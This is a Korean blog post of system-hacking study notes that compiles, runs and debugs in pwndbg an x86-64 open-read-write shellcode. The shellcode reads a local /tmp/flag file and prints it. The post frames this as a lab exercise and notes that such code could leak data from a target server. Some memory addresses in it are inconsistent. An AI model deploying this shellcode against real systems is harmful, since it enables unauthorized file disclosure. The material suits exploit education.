orw 셸코드 컴파일
어셈블리 코드를 컴파일하는 방법에는 여러가지 방법이 있다.
이번엔 스켈레톤 코드에 앞에서 작성한 셸코드를 채울거임.
*스켈레톤 코드: 핵심 내용이 비어있고 기본 구조만 갖춘 코드
↓스켈레톤 코드
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
↓ 셸코드로 채운 스켈레톤 코드
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
orw 셸코드 실행
#셸코드 파일 orw.c 생성
$ nano orw.c
먼저 실행 실습을 위해 위 스켈레톤 코드에 셸코드를 채운 코드가 담긴 파일을 생성해줬다.
# 'flag{this_is_open_read_write_shellcode!}' 문자열을 /tmp/flag 파일에 저장하는 명령어
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
위에서 만든 셸코드가 실행되는지 확인하기 위해 read로 읽어왔던 /tmp/flag 파일을 만들어줌.
안에는 "flag{this_is_open_read_write_shellcode!}"라는 내용이 담겨 있다.
셸코드가 제대로 작동된다면 안에 있는 내용이 출력됨.
# orw.c 컴파일
$ gcc -o orw orw.c -masm=intel
# orw.c 실행
$ ./orw
orw.c 파일을 컴파일해서 실행할 수 있는 프로그램이 되게 해준다.
이제 컴파일 후에 ./orw 명령어로 프로그램을 실행해주면 파일 안 내용이 출력됨.
이렇게 만약 공격 대상 시스템에서 이 셸코드를 실행할 수 있으면 , 상대 서버의 자료 유출이 가능하다.
orw 셸코드 디버깅
# orw를 gdb로 열기
$ gdb orw -q
...
#run_sh() 에 브레이크 포인트 설정
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>
먼저 gdb로 orw를 열고, run_sh()에 브레이크 포인트를 설정한다.
pwndbg> r
Starting program: /home/dreamhack/orw
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000555555555129 in run_sh ()
...
*RIP 0x555555555129 (run_sh) ◂— push 0x67
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x555555555129 <run_sh> push 0x67
0x55555555512b <run_sh+2> movabs rax, 0x616c662f706d742f
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
0x555555555146 <run_sh+29> syscall
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
...
pwndbg>
그 다음, run 명령어로 run_sh()의 시작 부분까지 코드를 실행시킨다.
그럼 우리가 작성한 셸코드에 rip가 위치한 것을 확인할 수 있다.
이제 앞에서 구현한 각 시스템 콜들이 제대로 구현되었나 확인해볼거임.
1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)
먼저 첫번째 syscall이 위치한 <run_sh+19> 브레티크 포인트를 설정한 후 실행해서, 해당 시점에 syscall에 들어가는 인자를 확인해봄.
실행 후 출력
pwndbg> b *run_sh+29
Breakpoint 2 at 0x555555555146
pwndbg> c
Continuing.
Breakpoint 2, 0x0000555555555146 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x2
RBX 0x0
RCX 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX 0x0
*RDI 0x7fffffffe2f8 ◂— '/tmp/flag'
*RSI 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
► 0x555555555146 <run_sh+29> syscall <SYS_open>
file: 0x7fffffffe2f8 ◂— '/tmp/flag'
oflag: 0x0
vararg: 0x0
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
...
출력된 걸 보면 <run_sh+29> 인자를 해석해서 보여준다.
/tmp/flag파일이 실행됨을 알 수 있다.
# ni명령어 실행 - 한 단계 (1 instruction)만 실행하고 다음 명령어에서 멈춤.
pwndbg> ni
0x0000555555555162 in run_sh ()
...
ni명령어를 사용해 syscall을 실행하고 나면, open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.
2. read(fd, buf, 0x30)
두 번째 syscall이 위치한 run_sh+55 에 브레이크 포인트를 설정하고 인자를 살펴봄.
실행 후 출력
pwndbg> b *run_sh+55
Breakpoint 3 at 0x555555555160
pwndbg> c
Continuing.
Breakpoint 3, 0x0000555555555160 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x0
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX 0x30
*RDI 0x3
*RSI 0x7fffffffe2c8 ◂— 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555148 mov rdi, rax
0x55555555514b mov rsi, rsp
0x55555555514e sub rsi, 0x30
0x555555555152 mov rdx, 0x30
0x555555555159 mov rax, 0
► 0x555555555160 syscall
fd: 0x3 (/tmp/flag)
buf: 0x7fffffffe2c8 ◂— 0x0
nbytes: 0x30
0x555555555162 mov rdi, 1
0x555555555169 mov rax, 1
0x555555555170 syscall
0x555555555172 xor rdi, rdi
0x555555555175 mov rax, 0x3c
...
새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffde28에 저장.
# x/s 명령어 : 메모리의 문자열(String)을 출력
pwndbg> x/s 0x7fffffffde28
0x7fffffffe2c8: "flag{this_is_open_read_write_shellcode!}\n"
0x7fffffffde28에 /tmp/flag의 문자열이 성공적으로 저장된 것을 확인.
3. write(1, buf, 0x30)
마지막으로, 읽어낸 데이터를 출력하는 write 시스템 콜을 실행하기 직전의 모습이다.
pwndbg> c
Continuing.
Breakpoint 4, 0x0000555555555170 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x1
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x30
*RDI 0x1
RSI 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
► 0x555555555170 <run_sh+71> syscall <SYS_write>
fd: 0x1 (/dev/pts/11)
buf: 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
n: 0x30
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
0x55555555517c <run_sh+83> syscall
0x55555555517e <main> endbr64
0x555555555182 <main+4> push rbp
...
마찬가지로 ni명령어로 실행하면, 데이터를 저장한 0x7fffffffe2c8에서 48바이트를 출력한다.
- RDI = 1 → stdout (표준 출력)
- RSI = 0x7fffffffe2c8 → 출력할 데이터의 메모리 주소 (flag{this_is_open_read_write_shellcode!}\n)
- RDX = 0x30 → 출력할 데이터 크기 (48바이트)
즉, write(1, 0x7fffffffe2c8, 0x30); 를 실행한 것이고,
0x30(16진수) = 48(10진수) 바이트가 출력됐음.
'System Hacking > Basics' 카테고리의 다른 글
[시스템 해킹] 함수 호출 규약/ x86, x86-64 (0) | 2025.03.11 |
---|---|
[시스템 해킹] 셸코드(Shellcode) 3- execve 셸코드/ execve shellcode와 orw shellcode 차이점 (0) | 2025.03.10 |
[시스템 해킹] 셸코드(Shellcode) 1- orw 셸코드 작성 open & read & write (0) | 2025.03.10 |
[시스템 해킹] pwntools 사용법 (0) | 2025.03.07 |
[시스템 해킹] pwntools 설치 방법 / Linux (0) | 2025.03.07 |